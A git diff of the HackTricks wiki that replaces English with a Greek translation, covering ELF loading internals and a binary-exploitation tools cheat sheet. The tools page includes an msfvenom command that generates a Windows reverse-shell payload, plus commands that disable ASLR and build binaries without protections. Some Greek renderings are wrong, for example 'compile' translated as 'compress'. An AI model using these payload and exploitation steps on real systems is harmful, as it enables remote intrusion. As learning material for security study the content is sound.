DEFAULT 23 .data - 3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strtok@GLIBC_2.17 (2) - 4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND s[...]@GLIBC_2.17 (2) - 5: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strlen@GLIBC_2.17 (2) - 6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fputs@GLIBC_2.17 (2) - 7: 0000000000000000 0 FUNC GLOBAL DEFAULT UND exit@GLIBC_2.17 (2) - 8: 0000000000000000 0 FUNC GLOBAL DEFAULT UND _[...]@GLIBC_2.34 (3) - 9: 0000000000000000 0 FUNC GLOBAL DEFAULT UND perror@GLIBC_2.17 (2) - 10: 0000000000000000 0 NOTYPE WEAK DEFAULT UND _ITM_deregisterT[...] - 11: 0000000000000000 0 FUNC WEAK DEFAULT UND _[...]@GLIBC_2.17 (2) - 12: 0000000000000000 0 FUNC GLOBAL DEFAULT UND putc@GLIBC_2.17 (2) - [...] +Num: Value Size Type Bind Vis Ndx Name +0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND +1: 0000000000001088 0 SECTION LOCAL DEFAULT 12 .init +2: 0000000000020000 0 SECTION LOCAL DEFAULT 23 .data +3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strtok@GLIBC_2.17 (2) +4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND s[...]@GLIBC_2.17 (2) +5: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strlen@GLIBC_2.17 (2) +6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fputs@GLIBC_2.17 (2) +7: 0000000000000000 0 FUNC GLOBAL DEFAULT UND exit@GLIBC_2.17 (2) +8: 0000000000000000 0 FUNC GLOBAL DEFAULT UND _[...]@GLIBC_2.34 (3) +9: 0000000000000000 0 FUNC GLOBAL DEFAULT UND perror@GLIBC_2.17 (2) +10: 0000000000000000 0 NOTYPE WEAK DEFAULT UND _ITM_deregisterT[...] +11: 0000000000000000 0 FUNC WEAK DEFAULT UND _[...]@GLIBC_2.17 (2) +12: 0000000000000000 0 FUNC GLOBAL DEFAULT UND putc@GLIBC_2.17 (2) +[...] ``` +Κάθε είσοδος συμβόλου περιέχει: -Each symbol entry contains: - -- **Name** -- **Binding attributes** (weak, local or global): A local symbol can only be accessed by the program itself while the global symbol are shared outside the program. A weak object is for example a function that can be overridden by a different one. -- **Type**: NOTYPE (no type specified), OBJECT (global data var), FUNC (function), SECTION (section), FILE (source-code file for debuggers), TLS (thread-local variable), GNU_IFUNC (indirect function for relocation) -- **Section** index where it's located -- **Value** (address sin memory) -- **Size** - -## Dynamic Section +- **Όνομα** +- **Δεσμευτικά χαρακτηριστικά** (ασθενές, τοπικό ή παγκόσμιο): Ένα τοπικό σύμβολο μπορεί να προσπελαστεί μόνο από το ίδιο το πρόγραμμα, ενώ τα παγκόσμια σύμβολα μοιράζονται εκτός του προγράμματος. Ένα ασθενές αντικείμενο είναι για παράδειγμα μια συνάρτηση που μπορεί να παρακαμφθεί από μια διαφορετική. +- **Τύπος**: NOTYPE (κανένας τύπος καθορισμένος), OBJECT (παγκόσμια μεταβλητή δεδομένων), FUNC (συνάρτηση), SECTION (ενότητα), FILE (αρχείο πηγαίου κώδικα για αποσφαλμάτωση), TLS (μεταβλητή τοπικού νήματος), GNU_IFUNC (έμμεση συνάρτηση για ανακατανομή) +- **Δείκτης ενότητας** όπου βρίσκεται +- **Τιμή** (διεύθυνση στη μνήμη) +- **Μέγεθος** +## Δυναμική Ενότητα ``` readelf -d lnstat Dynamic section at offset 0xfc58 contains 28 entries: - Tag Type Name/Value - 0x0000000000000001 (NEEDED) Shared library: [libc.so.6] - 0x0000000000000001 (NEEDED) Shared library: [ld-linux-aarch64.so.1] - 0x000000000000000c (INIT) 0x1088 - 0x000000000000000d (FINI) 0x2f74 - 0x0000000000000019 (INIT_ARRAY) 0x1fc48 - 0x000000000000001b (INIT_ARRAYSZ) 8 (bytes) - 0x000000000000001a (FINI_ARRAY) 0x1fc50 - 0x000000000000001c (FINI_ARRAYSZ) 8 (bytes) - 0x000000006ffffef5 (GNU_HASH) 0x338 - 0x0000000000000005 (STRTAB) 0x7f0 - 0x0000000000000006 (SYMTAB) 0x358 - 0x000000000000000a (STRSZ) 510 (bytes) - 0x000000000000000b (SYMENT) 24 (bytes) - 0x0000000000000015 (DEBUG) 0x0 - 0x0000000000000003 (PLTGOT) 0x1fe58 - 0x0000000000000002 (PLTRELSZ) 960 (bytes) - 0x0000000000000014 (PLTREL) RELA - 0x0000000000000017 (JMPREL) 0xcc8 - 0x0000000000000007 (RELA) 0xaa0 - 0x0000000000000008 (RELASZ) 552 (bytes) - 0x0000000000000009 (RELAENT) 24 (bytes) - 0x000000000000001e (FLAGS) BIND_NOW - 0x000000006ffffffb (FLAGS_1) Flags: NOW PIE - 0x000000006ffffffe (VERNEED) 0xa50 - 0x000000006fffffff (VERNEEDNUM) 2 - 0x000000006ffffff0 (VERSYM) 0x9ee - 0x000000006ffffff9 (RELACOUNT) 15 - 0x0000000000000000 (NULL) 0x0 +Tag Type Name/Value +0x0000000000000001 (NEEDED) Shared library: [libc.so.6] +0x0000000000000001 (NEEDED) Shared library: [ld-linux-aarch64.so.1] +0x000000000000000c (INIT) 0x1088 +0x000000000000000d (FINI) 0x2f74 +0x0000000000000019 (INIT_ARRAY) 0x1fc48 +0x000000000000001b (INIT_ARRAYSZ) 8 (bytes) +0x000000000000001a (FINI_ARRAY) 0x1fc50 +0x000000000000001c (FINI_ARRAYSZ) 8 (bytes) +0x000000006ffffef5 (GNU_HASH) 0x338 +0x0000000000000005 (STRTAB) 0x7f0 +0x0000000000000006 (SYMTAB) 0x358 +0x000000000000000a (STRSZ) 510 (bytes) +0x000000000000000b (SYMENT) 24 (bytes) +0x0000000000000015 (DEBUG) 0x0 +0x0000000000000003 (PLTGOT) 0x1fe58 +0x0000000000000002 (PLTRELSZ) 960 (bytes) +0x0000000000000014 (PLTREL) RELA +0x0000000000000017 (JMPREL) 0xcc8 +0x0000000000000007 (RELA) 0xaa0 +0x0000000000000008 (RELASZ) 552 (bytes) +0x0000000000000009 (RELAENT) 24 (bytes) +0x000000000000001e (FLAGS) BIND_NOW +0x000000006ffffffb (FLAGS_1) Flags: NOW PIE +0x000000006ffffffe (VERNEED) 0xa50 +0x000000006fffffff (VERNEEDNUM) 2 +0x000000006ffffff0 (VERSYM) 0x9ee +0x000000006ffffff9 (RELACOUNT) 15 +0x0000000000000000 (NULL) 0x0 ``` - -The NEEDED directory indicates that the program **needs to load the mentioned library** in order to continue. The NEEDED directory completes once the shared **library is fully operational and ready** for use. +Ο φάκελος NEEDED υποδεικνύει ότι το πρόγραμμα **χρειάζεται να φορτώσει τη συγκεκριμένη βιβλιοθήκη** προκειμένου να συνεχίσει. Ο φάκελος NEEDED ολοκληρώνεται μόλις η κοινή **βιβλιοθήκη είναι πλήρως λειτουργική και έτοιμη** προς χρήση. ## Relocations -The loader also must relocate dependencies after having loaded them. These relocations are indicated in the relocation table in formats REL or RELA and the number of relocations is given in the dynamic sections RELSZ or RELASZ. - +Ο φορτωτής πρέπει επίσης να μετατοπίσει τις εξαρτήσεις αφού τις έχει φορτώσει. Αυτές οι μετατοπίσεις υποδεικνύονται στον πίνακα μετατοπίσεων σε μορφές REL ή RELA και ο αριθμός των μετατοπίσεων δίνεται στις δυναμικές ενότητες RELSZ ή RELASZ. ``` readelf -r lnstat Relocation section '.rela.dyn' at offset 0xaa0 contains 23 entries: - Offset Info Type Sym. Value Sym. Name + Addend +Offset Info Type Sym. Value Sym. Name + Addend 00000001fc48 000000000403 R_AARCH64_RELATIV 1d10 00000001fc50 000000000403 R_AARCH64_RELATIV 1cc0 00000001fff0 000000000403 R_AARCH64_RELATIV 1340 @@ -273,7 +264,7 @@ Relocation section '.rela.dyn' at offset 0xaa0 contains 23 entries: 00000001fff8 002e00000401 R_AARCH64_GLOB_DA 0000000000000000 _ITM_registerTMCl[...] + 0 Relocation section '.rela.plt' at offset 0xcc8 contains 40 entries: - Offset Info Type Sym. Value Sym. Name + Addend +Offset Info Type Sym. Value Sym. Name + Addend 00000001fe70 000300000402 R_AARCH64_JUMP_SL 0000000000000000 strtok@GLIBC_2.17 + 0 00000001fe78 000400000402 R_AARCH64_JUMP_SL 0000000000000000 strtoul@GLIBC_2.17 + 0 00000001fe80 000500000402 R_AARCH64_JUMP_SL 0000000000000000 strlen@GLIBC_2.17 + 0 @@ -315,82 +306,77 @@ Relocation section '.rela.plt' at offset 0xcc8 contains 40 entries: 00000001ffa0 002f00000402 R_AARCH64_JUMP_SL 0000000000000000 __assert_fail@GLIBC_2.17 + 0 00000001ffa8 003000000402 R_AARCH64_JUMP_SL 0000000000000000 fgets@GLIBC_2.17 + 0 ``` +### Στατικές Μεταθέσεις -### Static Relocations +Αν το **πρόγραμμα φορτωθεί σε διαφορετική θέση** από τη προτιμώμενη διεύθυνση (συνήθως 0x400000) επειδή η διεύθυνση είναι ήδη χρησιμοποιούμενη ή λόγω **ASLR** ή οποιουδήποτε άλλου λόγου, μια στατική μετάθεση **διορθώνει τους δείκτες** που είχαν τιμές περιμένοντας το δυαδικό να φορτωθεί στη προτιμώμενη διεύθυνση. -If the **program is loaded in a place different** from the preferred address (usually 0x400000) because the address is already used or because of **ASLR** or any other reason, a static relocation **corrects pointers** that had values expecting the binary to be loaded in the preferred address. +Για παράδειγμα, οποιαδήποτε ενότητα τύπου `R_AARCH64_RELATIV` θα πρέπει να έχει τροποποιήσει τη διεύθυνση με το μεταθετικό σφάλμα συν την τιμή προσθέτου. -For example any section of type `R_AARCH64_RELATIV` should have modified the address at the relocation bias plus the addend value. +### Δυναμικές Μεταθέσεις και GOT -### Dynamic Relocations and GOT +Η μετάθεση μπορεί επίσης να αναφέρεται σε ένα εξωτερικό σύμβολο (όπως μια συνάρτηση από μια εξάρτηση). Όπως η συνάρτηση malloc από τη libC. Έτσι, ο φορτωτής όταν φορτώνει τη libC σε μια διεύθυνση ελέγχει πού είναι φορτωμένη η συνάρτηση malloc, θα γράψει αυτή τη διεύθυνση στον πίνακα GOT (Global Offset Table) (που υποδεικνύεται στον πίνακα μεταθέσεων) όπου θα πρέπει να καθοριστεί η διεύθυνση του malloc. -The relocation could also reference an external symbol (like a function from a dependency). Like the function malloc from libC. Then, the loader when loading libC in an address checking where the malloc function is loaded, it will write this address in the GOT (Global Offset Table) table (indicated in the relocation table) where the address of malloc should be specified. +### Πίνακας Σύνδεσης Διαδικασιών -### Procedure Linkage Table +Η ενότητα PLT επιτρέπει την εκτέλεση καθυστερημένης σύνδεσης, που σημαίνει ότι η επίλυση της τοποθεσίας μιας συνάρτησης θα εκτελείται την πρώτη φορά που θα προσπελαστεί. -The PLT section allows to perform lazy binding, which means that the resolution of the location of a function will be performed the first time it's accessed. +Έτσι, όταν ένα πρόγραμμα καλεί τη malloc, στην πραγματικότητα καλεί την αντίστοιχη τοποθεσία του `malloc` στον PLT (`malloc@plt`). Την πρώτη φορά που καλείται, επιλύει τη διεύθυνση του `malloc` και την αποθηκεύει, έτσι ώστε την επόμενη φορά που θα κληθεί η `malloc`, αυτή η διεύθυνση να χρησιμοποιείται αντί του κώδικα PLT. -So when a program calls to malloc, it actually calls the corresponding location of `malloc` in the PLT (`malloc@plt`). The first time it's called it resolves the address of `malloc` and stores it so next time `malloc` is called, that address is used instead of the PLT code. - -## Program Initialization - -After the program has been loaded it's time for it to run. However, the first code that is run i**sn't always the `main`** function. This is because for example in C++ if a **global variable is an object of a class**, this object must be **initialized** **before** main runs, like in: +## Αρχικοποίηση Προγράμματος +Αφού το πρόγραμμα έχει φορτωθεί, ήρθε η ώρα να εκτελεστεί. Ωστόσο, ο πρώτος κώδικας που εκτελείται **δεν είναι πάντα η συνάρτηση `main`**. Αυτό συμβαίνει επειδή, για παράδειγμα, σε C++ αν μια **παγκόσμια μεταβλητή είναι ένα αντικείμενο μιας κλάσης**, αυτό το αντικείμενο πρέπει να **αρχικοποιηθεί** **πριν** εκτελεστεί το main, όπως στο: ```cpp #include // g++ autoinit.cpp -o autoinit class AutoInit { - public: - AutoInit() { - printf("Hello AutoInit!\n"); - } - ~AutoInit() { - printf("Goodbye AutoInit!\n"); - } +public: +AutoInit() { +printf("Hello AutoInit!\n"); +} +~AutoInit() { +printf("Goodbye AutoInit!\n"); +} }; AutoInit autoInit; int main() { - printf("Main\n"); - return 0; +printf("Main\n"); +return 0; } ``` +Σημειώστε ότι αυτές οι παγκόσμιες μεταβλητές βρίσκονται στο `.data` ή `.bss`, αλλά στις λίστες `__CTOR_LIST__` και `__DTOR_LIST__` τα αντικείμενα που πρέπει να αρχικοποιηθούν και να καταστραφούν αποθηκεύονται για να παρακολουθούνται. -Note that these global variables are located in `.data` or `.bss` but in the lists `__CTOR_LIST__` and `__DTOR_LIST__` the objects to initialize and destruct are stored in order to keep track of them. - -From C code it's possible to obtain the same result using the GNU extensions : - +Από τον κώδικα C είναι δυνατόν να αποκτηθεί το ίδιο αποτέλεσμα χρησιμοποιώντας τις επεκτάσεις GNU: ```c __attributte__((constructor)) //Add a constructor to execute before __attributte__((destructor)) //Add to the destructor list ``` +Από την προοπτική ενός μεταγλωττιστή, για να εκτελούνται αυτές οι ενέργειες πριν και μετά την εκτέλεση της συνάρτησης `main`, είναι δυνατόν να δημιουργηθεί μια συνάρτηση `init` και μια συνάρτηση `fini` που θα αναφέρονται στην δυναμική ενότητα ως **`INIT`** και **`FIN`**. και τοποθετούνται στις ενότητες `init` και `fini` του ELF. -From a compiler perspective, to execute these actions before and after the `main` function is executed, it's possible to create a `init` function and a `fini` function which would be referenced in the dynamic section as **`INIT`** and **`FIN`**. and are placed in the `init` and `fini` sections of the ELF. +Η άλλη επιλογή, όπως αναφέρθηκε, είναι να αναφερθούν οι λίστες **`__CTOR_LIST__`** και **`__DTOR_LIST__`** στις εγγραφές **`INIT_ARRAY`** και **`FINI_ARRAY`** στη δυναμική ενότητα και το μήκος τους υποδεικνύεται από **`INIT_ARRAYSZ`** και **`FINI_ARRAYSZ`**. Κάθε εγγραφή είναι ένας δείκτης συνάρτησης που θα καλείται χωρίς παραμέτρους. -The other option, as mentioned, is to reference the lists **`__CTOR_LIST__`** and **`__DTOR_LIST__`** in the **`INIT_ARRAY`** and **`FINI_ARRAY`** entries in the dynamic section and the length of these are indicated by **`INIT_ARRAYSZ`** and **`FINI_ARRAYSZ`**. Each entry is a function pointer that will be called without arguments. +Επιπλέον, είναι επίσης δυνατό να υπάρχει μια **`PREINIT_ARRAY`** με **δείκτες** που θα εκτελούνται **πριν** από τους δείκτες **`INIT_ARRAY`**. -Moreover, it's also possible to have a **`PREINIT_ARRAY`** with **pointers** that will be executed **before** the **`INIT_ARRAY`** pointers. +### Σειρά Αρχικοποίησης -### Initialization Order +1. Το πρόγραμμα φορτώνεται στη μνήμη, οι στατικές παγκόσμιες μεταβλητές αρχικοποιούνται στο **`.data`** και οι μη αρχικοποιημένες μηδενίζονται στο **`.bss`**. +2. Όλες οι **εξαρτήσεις** για το πρόγραμμα ή τις βιβλιοθήκες **αρχικοποιούνται** και η **δυναμική σύνδεση** εκτελείται. +3. Οι συναρτήσεις **`PREINIT_ARRAY`** εκτελούνται. +4. Οι συναρτήσεις **`INIT_ARRAY`** εκτελούνται. +5. Αν υπάρχει μια εγγραφή **`INIT`**, καλείται. +6. Αν είναι μια βιβλιοθήκη, το dlopen τελειώνει εδώ, αν είναι πρόγραμμα, είναι ώρα να καλέσουμε το **πραγματικό σημείο εισόδου** (συνάρτηση `main`). -1. The program is loaded into memory, static global variables are initialized in **`.data`** and unitialized ones zeroed in **`.bss`**. -2. All **dependencies** for the program or libraries are **initialized** and the the **dynamic linking** is executed. -3. **`PREINIT_ARRAY`** functions are executed. -4. **`INIT_ARRAY`** functions are executed. -5. If there is a **`INIT`** entry it's called. -6. If a library, dlopen ends here, if a program, it's time to call the **real entry point** (`main` function). +## Αποθήκευση Τοπικών Νημάτων (TLS) -## Thread-Local Storage (TLS) +Ορίζονται χρησιμοποιώντας τη λέξη-κλειδί **`__thread_local`** στην C++ ή την επέκταση GNU **`__thread`**. -They are defined using the keyword **`__thread_local`** in C++ or the GNU extension **`__thread`**. +Κάθε νήμα θα διατηρεί μια μοναδική τοποθεσία για αυτή τη μεταβλητή, έτσι μόνο το νήμα μπορεί να έχει πρόσβαση στη μεταβλητή του. -Each thread will maintain a unique location for this variable so only the thread can access its variable. +Όταν αυτό χρησιμοποιείται, οι ενότητες **`.tdata`** και **`.tbss`** χρησιμοποιούνται στο ELF. Οι οποίες είναι όπως η `.data` (αρχικοποιημένη) και η `.bss` (μη αρχικοποιημένη) αλλά για TLS. -When this is used the sections **`.tdata`** and **`.tbss`** are used in the ELF. Which are like `.data` (initialized) and `.bss` (not initialized) but for TLS. +Κάθε μεταβλητή θα έχει μια εγγραφή στην κεφαλίδα TLS που θα καθορίζει το μέγεθος και την απόσταση TLS, η οποία είναι η απόσταση που θα χρησιμοποιήσει στην τοπική περιοχή δεδομένων του νήματος. -Each variable will hace an entry in the TLS header specifying the size and the TLS offset, which is the offset it will use in the thread's local data area. - -The `__TLS_MODULE_BASE` is a symbol used to refer to the base address of the thread local storage and points to the area in memory that contains all the thread-local data of a module. +Ο `__TLS_MODULE_BASE` είναι ένα σύμβολο που χρησιμοποιείται για να αναφέρεται στη βασική διεύθυνση της αποθήκευσης τοπικών νημάτων και δείχνει στην περιοχή μνήμης που περιέχει όλα τα τοπικά δεδομένα νημάτων ενός module. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md index 70aa57cc5..2a2343a56 100644 --- a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md +++ b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/README.md @@ -1,9 +1,8 @@ -# Exploiting Tools +# Εργαλεία Εκμετάλλευσης {{#include ../../../banners/hacktricks-training.md}} ## Metasploit - ```bash pattern_create.rb -l 3000 #Length pattern_offset.rb -l 3000 -q 5f97d534 #Search offset @@ -11,31 +10,23 @@ nasm_shell.rb nasm> jmp esp #Get opcodes msfelfscan -j esi /opt/fusion/bin/level01 ``` - ### Shellcodes - ```bash msfvenom /p windows/shell_reverse_tcp LHOST= LPORT= [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c ``` - ## GDB -### Install - +### Εγκατάσταση ```bash apt-get install gdb ``` - -### Parameters - +### Παράμετροι ```bash -q # No show banner -x # Auto-execute GDB instructions from here -p # Attach to process ``` - -### Instructions - +### Οδηγίες ```bash run # Execute start # Start and break in main @@ -81,11 +72,9 @@ x/s pointer # String pointed by the pointer x/xw &pointer # Address where the pointer is located x/i $eip # Instructions of the EIP ``` - ### [GEF](https://github.com/hugsy/gef) -You could optionally use [**this fork of GE**](https://github.com/bata24/gef)[**F**](https://github.com/bata24/gef) which contains more interesting instructions. - +Μπορείτε προαιρετικά να χρησιμοποιήσετε [**αυτό το fork του GE**](https://github.com/bata24/gef)[**F**](https://github.com/bata24/gef) που περιέχει πιο ενδιαφέρουσες οδηγίες. ```bash help memory # Get help on memory command canary # Search for canary value in memory @@ -118,34 +107,32 @@ dump binary memory /tmp/dump.bin 0x200000000 0x20000c350 1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it 2- ef➤ i f Stack level 0, frame at 0x7fffffffddd0: - rip = 0x400cd3; saved rip = 0x6261617762616176 - called by frame at 0x7fffffffddd8 - Arglist at 0x7fffffffdcf8, args: - Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0 - Saved registers: - rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8 +rip = 0x400cd3; saved rip = 0x6261617762616176 +called by frame at 0x7fffffffddd8 +Arglist at 0x7fffffffdcf8, args: +Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0 +Saved registers: +rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8 gef➤ pattern search 0x6261617762616176 [+] Searching for '0x6261617762616176' [+] Found at offset 184 (little-endian search) likely ``` - ### Tricks -#### GDB same addresses +#### GDB ίδιες διευθύνσεις -While debugging GDB will have **slightly different addresses than the used by the binary when executed.** You can make GDB have the same addresses by doing: +Κατά την αποσφαλμάτωση, το GDB θα έχει **ελαφρώς διαφορετικές διευθύνσεις από αυτές που χρησιμοποιούνται από το δυαδικό αρχείο κατά την εκτέλεση.** Μπορείτε να κάνετε το GDB να έχει τις ίδιες διευθύνσεις κάνοντας: - `unset env LINES` - `unset env COLUMNS` -- `set env _=` _Put the absolute path to the binary_ -- Exploit the binary using the same absolute route -- `PWD` and `OLDPWD` must be the same when using GDB and when exploiting the binary +- `set env _=` _Βάλτε την απόλυτη διαδρομή στο δυαδικό αρχείο_ +- Εκμεταλλευτείτε το δυαδικό αρχείο χρησιμοποιώντας την ίδια απόλυτη διαδρομή +- `PWD` και `OLDPWD` πρέπει να είναι οι ίδιες κατά τη χρήση του GDB και κατά την εκμετάλλευση του δυαδικού αρχείου -#### Backtrace to find functions called - -When you have a **statically linked binary** all the functions will belong to the binary (and no to external libraries). In this case it will be difficult to **identify the flow that the binary follows to for example ask for user input**.\ -You can easily identify this flow by **running** the binary with **gdb** until you are asked for input. Then, stop it with **CTRL+C** and use the **`bt`** (**backtrace**) command to see the functions called: +#### Backtrace για να βρείτε τις κλήσεις συναρτήσεων +Όταν έχετε ένα **στατικά συνδεδεμένο δυαδικό αρχείο**, όλες οι συναρτήσεις θα ανήκουν στο δυαδικό αρχείο (και όχι σε εξωτερικές βιβλιοθήκες). Σε αυτή την περίπτωση, θα είναι δύσκολο να **εντοπίσετε τη ροή που ακολουθεί το δυαδικό αρχείο για παράδειγμα να ζητήσει είσοδο από τον χρήστη**.\ +Μπορείτε να εντοπίσετε εύκολα αυτή τη ροή **τρέχοντας** το δυαδικό αρχείο με **gdb** μέχρι να σας ζητηθεί είσοδος. Στη συνέχεια, σταματήστε το με **CTRL+C** και χρησιμοποιήστε την εντολή **`bt`** (**backtrace**) για να δείτε τις κλήσεις συναρτήσεων: ``` gef➤ bt #0 0x00000000004498ae in ?? () @@ -154,87 +141,80 @@ gef➤ bt #3 0x00000000004011a9 in ?? () #4 0x0000000000400a5a in ?? () ``` - ### GDB server -`gdbserver --multi 0.0.0.0:23947` (in IDA you have to fill the absolute path of the executable in the Linux machine and in the Windows machine) +`gdbserver --multi 0.0.0.0:23947` (στην IDA πρέπει να συμπληρώσετε τη απόλυτη διαδρομή του εκτελέσιμου στη μηχανή Linux και στη μηχανή Windows) ## Ghidra -### Find stack offset +### Βρείτε την απόσταση στο stack -**Ghidra** is very useful to find the the **offset** for a **buffer overflow thanks to the information about the position of the local variables.**\ -For example, in the example below, a buffer flow in `local_bc` indicates that you need an offset of `0xbc`. Moreover, if `local_10` is a canary cookie it indicates that to overwrite it from `local_bc` there is an offset of `0xac`.\ -&#xNAN;_Remember that the first 0x08 from where the RIP is saved belongs to the RBP._ +**Ghidra** είναι πολύ χρήσιμο για να βρείτε την **απόσταση** για μια **buffer overflow χάρη στις πληροφορίες σχετικά με τη θέση των τοπικών μεταβλητών.**\ +Για παράδειγμα, στο παρακάτω παράδειγμα, μια ροή buffer στο `local_bc` υποδεικνύει ότι χρειάζεστε μια απόσταση `0xbc`. Επιπλέον, αν το `local_10` είναι ένα canary cookie, υποδεικνύει ότι για να το παρακάμψετε από το `local_bc` υπάρχει μια απόσταση `0xac`.\ +&#xNAN;_Remember ότι τα πρώτα 0x08 από όπου αποθηκεύεται το RIP ανήκουν στο RBP._ ![](<../../../images/image (1061).png>) ## qtool - ```bash qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog ``` - -Get every opcode executed in the program. +Πάρτε κάθε opcode που εκτελείται στο πρόγραμμα. ## GCC -**gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Compile without protections\ -&#xNAN;**-o** --> Output\ -&#xNAN;**-g** --> Save code (GDB will be able to see it)\ -**echo 0 > /proc/sys/kernel/randomize_va_space** --> To deactivate the ASLR in linux +**gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Συμπίεση χωρίς προστασίες\ +&#xNAN;**-o** --> Έξοδος\ +&#xNAN;**-g** --> Αποθήκευση κώδικα (το GDB θα μπορεί να το δει)\ +**echo 0 > /proc/sys/kernel/randomize_va_space** --> Για να απενεργοποιήσετε το ASLR στο linux -**To compile a shellcode:**\ -**nasm -f elf assembly.asm** --> return a ".o"\ -**ld assembly.o -o shellcodeout** --> Executable +**Για να συμπιέσετε ένα shellcode:**\ +**nasm -f elf assembly.asm** --> επιστρέφει ένα ".o"\ +**ld assembly.o -o shellcodeout** --> Εκτελέσιμο ## Objdump -**-d** --> **Disassemble executable** sections (see opcodes of a compiled shellcode, find ROP Gadgets, find function address...)\ -&#xNAN;**-Mintel** --> **Intel** syntax\ -&#xNAN;**-t** --> **Symbols** table\ -&#xNAN;**-D** --> **Disassemble all** (address of static variable)\ -&#xNAN;**-s -j .dtors** --> dtors section\ -&#xNAN;**-s -j .got** --> got section\ --D -s -j .plt --> **plt** section **decompiled**\ -&#xNAN;**-TR** --> **Relocations**\ -**ojdump -t --dynamic-relo ./exec | grep puts** --> Address of "puts" to modify in GOT\ -**objdump -D ./exec | grep "VAR_NAME"** --> Address or a static variable (those are stored in DATA section). +**-d** --> **Αποσυναρμολόγηση εκτελέσιμων** τμημάτων (δείτε τα opcodes ενός συμπιεσμένου shellcode, βρείτε ROP Gadgets, βρείτε διεύθυνση συνάρτησης...)\ +&#xNAN;**-Mintel** --> **Σύνταξη Intel**\ +&#xNAN;**-t** --> **Πίνακας συμβόλων**\ +&#xNAN;**-D** --> **Αποσυναρμολόγηση όλων** (διεύθυνση στατικής μεταβλητής)\ +&#xNAN;**-s -j .dtors** --> τμήμα dtors\ +&#xNAN;**-s -j .got** --> τμήμα got\ +-D -s -j .plt --> **plt** τμήμα **αποσυναρμολόγησης**\ +&#xNAN;**-TR** --> **Μετατοπίσεις**\ +**ojdump -t --dynamic-relo ./exec | grep puts** --> Διεύθυνση του "puts" για τροποποίηση στο GOT\ +**objdump -D ./exec | grep "VAR_NAME"** --> Διεύθυνση ή στατική μεταβλητή (αυτές αποθηκεύονται στο τμήμα DATA). ## Core dumps -1. Run `ulimit -c unlimited` before starting my program -2. Run `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t` +1. Εκτελέστε `ulimit -c unlimited` πριν ξεκινήσετε το πρόγραμμα μου +2. Εκτελέστε `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t` 3. sudo gdb --core=\ --quiet -## More +## Περισσότερα -**ldd executable | grep libc.so.6** --> Address (if ASLR, then this change every time)\ -**for i in \`seq 0 20\`; do ldd \ | grep libc; done** --> Loop to see if the address changes a lot\ -**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Offset of "system"\ -**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Offset of "/bin/sh" +**ldd executable | grep libc.so.6** --> Διεύθυνση (αν ASLR, τότε αυτό αλλάζει κάθε φορά)\ +**for i in \`seq 0 20\`; do ldd \ | grep libc; done** --> Βρόχος για να δείτε αν η διεύθυνση αλλάζει πολύ\ +**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Offset του "system"\ +**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Offset του "/bin/sh" -**strace executable** --> Functions called by the executable\ -**rabin2 -i ejecutable -->** Address of all the functions +**strace executable** --> Συναρτήσεις που καλούνται από το εκτελέσιμο\ +**rabin2 -i ejecutable -->** Διεύθυνση όλων των συναρτήσεων ## **Inmunity debugger** - ```bash !mona modules #Get protections, look for all false except last one (Dll of SO) !mona find -s "\xff\xe4" -m name_unsecure.dll #Search for opcodes insie dll space (JMP ESP) ``` - ## IDA -### Debugging in remote linux - -Inside the IDA folder you can find binaries that can be used to debug a binary inside a linux. To do so move the binary `linux_server` or `linux_server64` inside the linux server and run it nside the folder that contains the binary: +### Αποσφαλμάτωση σε απομακρυσμένο linux +Μέσα στον φάκελο IDA μπορείτε να βρείτε δυαδικά αρχεία που μπορούν να χρησιμοποιηθούν για να αποσφαλματώσετε ένα δυαδικό αρχείο μέσα σε ένα linux. Για να το κάνετε αυτό, μετακινήστε το δυαδικό `linux_server` ή `linux_server64` μέσα στον linux server και εκτελέστε το μέσα στον φάκελο που περιέχει το δυαδικό: ``` ./linux_server64 -Ppass ``` - -Then, configure the debugger: Debugger (linux remote) --> Proccess options...: +Στη συνέχεια, ρυθμίστε τον αποσφαλματωτή: Debugger (linux remote) --> Proccess options...: ![](<../../../images/image (858).png>) diff --git a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md index 6175aeaa2..c97ed0404 100644 --- a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md +++ b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/tools/pwntools.md @@ -1,120 +1,100 @@ # PwnTools {{#include ../../../banners/hacktricks-training.md}} - ``` pip3 install pwntools ``` - ## Pwn asm -Get **opcodes** from line or file. - +Πάρε **opcodes** από γραμμή ή αρχείο. ``` pwn asm "jmp esp" pwn asm -i ``` +**Μπορεί να επιλέξει:** -**Can select:** - -- output type (raw,hex,string,elf) -- output file context (16,32,64,linux,windows...) -- avoid bytes (new lines, null, a list) -- select 